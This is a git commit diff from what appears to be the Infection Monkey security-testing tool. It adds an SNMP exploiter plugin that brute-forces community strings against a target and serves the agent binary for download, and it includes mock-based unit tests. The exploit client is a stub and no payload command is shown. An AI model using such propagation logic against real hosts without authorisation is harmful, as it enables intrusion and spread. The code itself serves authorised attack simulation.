Merge branch '3234-exploiter' into develop

mssalvatore · mssalvatore · commit 9739ff0751dc · 2023-05-09T11:59:40.000-04:00
Issue #3234 PR #3313
diff --git a/monkey/agent_plugins/exploiters/snmp/src/plugin.py b/monkey/agent_plugins/exploiters/snmp/src/plugin.py
@@ -16,25 +16,10 @@
 from infection_monkey.network import TCPPortSelector
 from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository
 
-logger = logging.getLogger(__name__)
-
-
-class StubSNMPOptions:
-    def __init__(self, *args, **kwargs):
-        pass
-
-
-class StubSNMPExploiter:
-    def __init__(self, *args, **kwargs):
-        pass
+from .community_string_generator import generate_community_strings
+from .snmp_exploiter import SNMPExploiter, StubSNMPExploitClient, StubSNMPOptions
 
-    def exploit_host(self, *args, **kwargs):
-        pass
-
-
-class StubSNMPExploitClient:
-    def __init__(self, *args, **kwargs):
-        pass
+logger = logging.getLogger(__name__)
 
 
 SNMP_PORTS = [161]
@@ -63,12 +48,14 @@ def __init__(
             agent_binary_repository=agent_binary_repository,
             tcp_port_selector=tcp_port_selector,
         )
-
-        self._snmp_exploiter = StubSNMPExploiter(
+        get_community_strings = partial(
+            generate_community_strings, propagation_credentials_repository
+        )
+        self._snmp_exploiter = SNMPExploiter(
             agent_id,
             exploit_client,
             agent_binary_server_factory,
-            propagation_credentials_repository,
+            get_community_strings,
             otp_provider,
         )
 
diff --git a/monkey/agent_plugins/exploiters/snmp/src/snmp_exploiter.py b/monkey/agent_plugins/exploiters/snmp/src/snmp_exploiter.py
@@ -0,0 +1,127 @@
+from logging import getLogger
+from typing import Callable, Iterable, Sequence
+
+from common.types import AgentID, Event
+from infection_monkey.exploit import IAgentOTPProvider
+from infection_monkey.exploit.tools import HTTPBytesServer
+from infection_monkey.i_puppet import ExploiterResultData, TargetHost
+from infection_monkey.utils.threading import interruptible_iter
+
+from .snmp_command_builder import build_snmp_command
+
+logger = getLogger(__name__)
+
+AgentBinaryServerFactory = Callable[[TargetHost], HTTPBytesServer]
+CommunityStringGenerator = Callable[[], Iterable[str]]
+
+
+class StubSNMPOptions:
+    def __init__(self, *args, **kwargs):
+        pass
+
+
+class StubSNMPExploitClient:
+    def __init__(self, *args, **kwargs):
+        pass
+
+    def exploit_host(self, *args, **kwargs) -> ExploiterResultData:
+        return ExploiterResultData()
+
+
+class SNMPExploiter:
+    def __init__(
+        self,
+        agent_id: AgentID,
+        exploit_client: StubSNMPExploitClient,
+        agent_binary_server_factory: AgentBinaryServerFactory,
+        generate_community_strings: CommunityStringGenerator,
+        otp_provider: IAgentOTPProvider,
+    ):
+        self._agent_id = agent_id
+        self._exploit_client = exploit_client
+        self._agent_binary_server_factory = agent_binary_server_factory
+        self._generate_community_strings = generate_community_strings
+        self._otp_provider = otp_provider
+
+    def exploit_host(
+        self,
+        host: TargetHost,
+        servers: Sequence[str],
+        current_depth: int,
+        options: StubSNMPOptions,
+        interrupt: Event,
+    ) -> ExploiterResultData:
+        try:
+            logger.debug("Starting the agent binary server")
+            agent_binary_http_server = self._agent_binary_server_factory(host)
+        except Exception as err:
+            msg = (
+                "An unexpected exception occurred while attempting to start the agent binary HTTP "
+                f"server: {err}"
+            )
+            logger.exception(msg)
+            return ExploiterResultData(
+                exploitation_success=False, propagation_success=False, error_message=msg
+            )
+
+        command = build_snmp_command(
+            self._agent_id,
+            host,
+            servers,
+            current_depth,
+            agent_binary_http_server.download_url,
+            self._otp_provider.get_otp(),
+        )
+
+        try:
+            return self._brute_force_exploit_host(
+                host,
+                options,
+                command,
+                agent_binary_http_server.bytes_downloaded,
+                interrupt,
+            )
+        except Exception as err:
+            msg = f"An unexpected exception occurred while exploiting host {host} with SNMP: {err}"
+            logger.exception(msg)
+            return ExploiterResultData(
+                exploitation_success=False, propagation_success=False, error_message=msg
+            )
+        finally:
+            _stop_agent_binary_http_server(agent_binary_http_server)
+
+    def _brute_force_exploit_host(
+        self,
+        host: TargetHost,
+        options: StubSNMPOptions,
+        command: str,
+        agent_binary_downloaded: Event,
+        interrupt: Event,
+    ) -> ExploiterResultData:
+        exploit_result = ExploiterResultData(exploitation_success=False, propagation_success=False)
+
+        for community_string in interruptible_iter(self._generate_community_strings(), interrupt):
+            (
+                exploit_result.exploitation_success,
+                exploit_result.propagation_success,
+            ) = self._exploit_client.exploit_host(
+                host,
+                options,
+                community_string,
+                command,
+                agent_binary_downloaded,
+                interrupt,
+            )
+
+            if exploit_result.exploitation_success:
+                break
+
+        return exploit_result
+
+
+def _stop_agent_binary_http_server(agent_binary_http_server: HTTPBytesServer):
+    try:
+        logger.debug("Stopping the agent binary server")
+        agent_binary_http_server.stop()
+    except Exception:
+        logger.exception("An unexpected error occurred while stopping the HTTP server")
diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/snmp/test_snmp_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/snmp/test_snmp_exploiter.py
@@ -0,0 +1,178 @@
+from ipaddress import IPv4Address
+from threading import Event
+from typing import Callable
+from unittest.mock import MagicMock
+
+import pytest
+from agent_plugins.exploiters.snmp.src.snmp_exploiter import (
+    CommunityStringGenerator,
+    SNMPExploiter,
+    StubSNMPExploitClient,
+    StubSNMPOptions,
+)
+
+from common import OperatingSystem
+from infection_monkey.exploit import IAgentOTPProvider
+from infection_monkey.exploit.tools import HTTPBytesServer
+from infection_monkey.i_puppet import ExploiterResultData, TargetHost
+from infection_monkey.utils.ids import get_agent_id
+
+AGENT_ID = get_agent_id()
+TARGET_IP = IPv4Address("1.1.1.1")
+SERVERS = ["10.10.10.10"]
+DOWNLOAD_URL = "http://download.me"
+COMMUNITY_STRINGS = ["public", "private"]
+
+
+@pytest.fixture()
+def target_host() -> TargetHost:
+    return TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.LINUX)
+
+
+@pytest.fixture
+def mock_bytes_server() -> HTTPBytesServer:
+    mock_bytes_server = MagicMock(spec=HTTPBytesServer)
+    mock_bytes_server.download_url = DOWNLOAD_URL
+    mock_bytes_server.bytes_downloaded = Event()
+    mock_bytes_server.bytes_downloaded.set()
+    return mock_bytes_server
+
+
+@pytest.fixture
+def mock_snmp_exploit_client() -> StubSNMPExploitClient:
+    mock_snmp_exploit_client = MagicMock()
+    mock_snmp_exploit_client.exploit_host.return_value = (False, False)
+    return mock_snmp_exploit_client
+
+
+@pytest.fixture
+def mock_start_agent_binary_server(mock_bytes_server) -> HTTPBytesServer:
+    return MagicMock(return_value=mock_bytes_server)
+
+
+@pytest.fixture
+def mock_otp_provider():
+    mock_otp_provider = MagicMock(spec=IAgentOTPProvider)
+    mock_otp_provider.get_otp.return_value = "123456"
+    return mock_otp_provider
+
+
+@pytest.fixture
+def mock_community_string_generator():
+    return MagicMock(return_value=COMMUNITY_STRINGS)
+
+
+@pytest.fixture
+def snmp_exploiter(
+    mock_snmp_exploit_client: StubSNMPExploitClient,
+    mock_start_agent_binary_server: Callable[[TargetHost], HTTPBytesServer],
+    mock_community_string_generator: CommunityStringGenerator,
+    mock_otp_provider: IAgentOTPProvider,
+) -> SNMPExploiter:
+    return SNMPExploiter(
+        AGENT_ID,
+        mock_snmp_exploit_client,
+        mock_start_agent_binary_server,
+        mock_community_string_generator,
+        mock_otp_provider,
+    )
+
+
+@pytest.fixture
+def exploit_host(
+    snmp_exploiter: SNMPExploiter, target_host: TargetHost
+) -> Callable[[], ExploiterResultData]:
+    def _inner() -> ExploiterResultData:
+        return snmp_exploiter.exploit_host(
+            host=target_host,
+            servers=SERVERS,
+            current_depth=1,
+            options=StubSNMPOptions(),
+            interrupt=Event(),
+        )
+
+    return _inner
+
+
+def test_exploit_host__succeeds(exploit_host, mock_snmp_exploit_client, mock_bytes_server):
+    mock_snmp_exploit_client.exploit_host.return_value = (True, True)
+    result = exploit_host()
+
+    assert mock_bytes_server.stop.called
+    assert result.exploitation_success
+    assert result.propagation_success
+
+
+def test_exploit_host__fails_if_server_fails_to_start(
+    exploit_host, mock_start_agent_binary_server, mock_bytes_server
+):
+    mock_start_agent_binary_server.side_effect = Exception()
+    result = exploit_host()
+
+    assert not mock_bytes_server.stop.called
+    assert not result.exploitation_success
+    assert not result.propagation_success
+
+
+def test_exploit_host__success_returned_on_server_stop_fail(
+    exploit_host, mock_snmp_exploit_client, mock_bytes_server
+):
+    mock_snmp_exploit_client.exploit_host.return_value = (True, True)
+    mock_bytes_server.stop.side_effect = Exception()
+
+    result = exploit_host()
+
+    assert mock_bytes_server.stop.called
+    assert result.exploitation_success
+    assert result.propagation_success
+
+
+def test_exploit_host__fails_on_snmp_exception(
+    mock_snmp_exploit_client, exploit_host, mock_bytes_server
+):
+    mock_snmp_exploit_client.exploit_host.side_effect = Exception()
+    result = exploit_host()
+
+    assert mock_bytes_server.stop.called
+    assert not result.exploitation_success
+    assert not result.propagation_success
+
+
+def test_exploit_attempt_on_all_community_strings(
+    snmp_exploiter: SNMPExploiter,
+    mock_snmp_exploit_client: StubSNMPExploitClient,
+    target_host: TargetHost,
+):
+    snmp_exploiter.exploit_host(
+        host=target_host,
+        servers=SERVERS,
+        current_depth=1,
+        options=StubSNMPOptions(),
+        interrupt=Event(),
+    )
+
+    community_strings_passed_to_exploit = [
+        args[0][2] for args in mock_snmp_exploit_client.exploit_host.call_args_list
+    ]
+
+    assert len(community_strings_passed_to_exploit) == len(COMMUNITY_STRINGS)
+    for community_string in COMMUNITY_STRINGS:
+        assert community_string in community_strings_passed_to_exploit
+
+
+def test_exploit_attempt_skipped_on_interrupt(
+    snmp_exploiter: SNMPExploiter,
+    mock_snmp_exploit_client: StubSNMPExploitClient,
+    target_host: TargetHost,
+):
+    interrupt = Event()
+    interrupt.set()
+    snmp_exploiter.exploit_host(
+        host=target_host,
+        servers=SERVERS,
+        current_depth=1,
+        options=StubSNMPOptions(),
+        interrupt=interrupt,
+    )
+
+    assert mock_snmp_exploit_client.exploit_host.call_count == 0
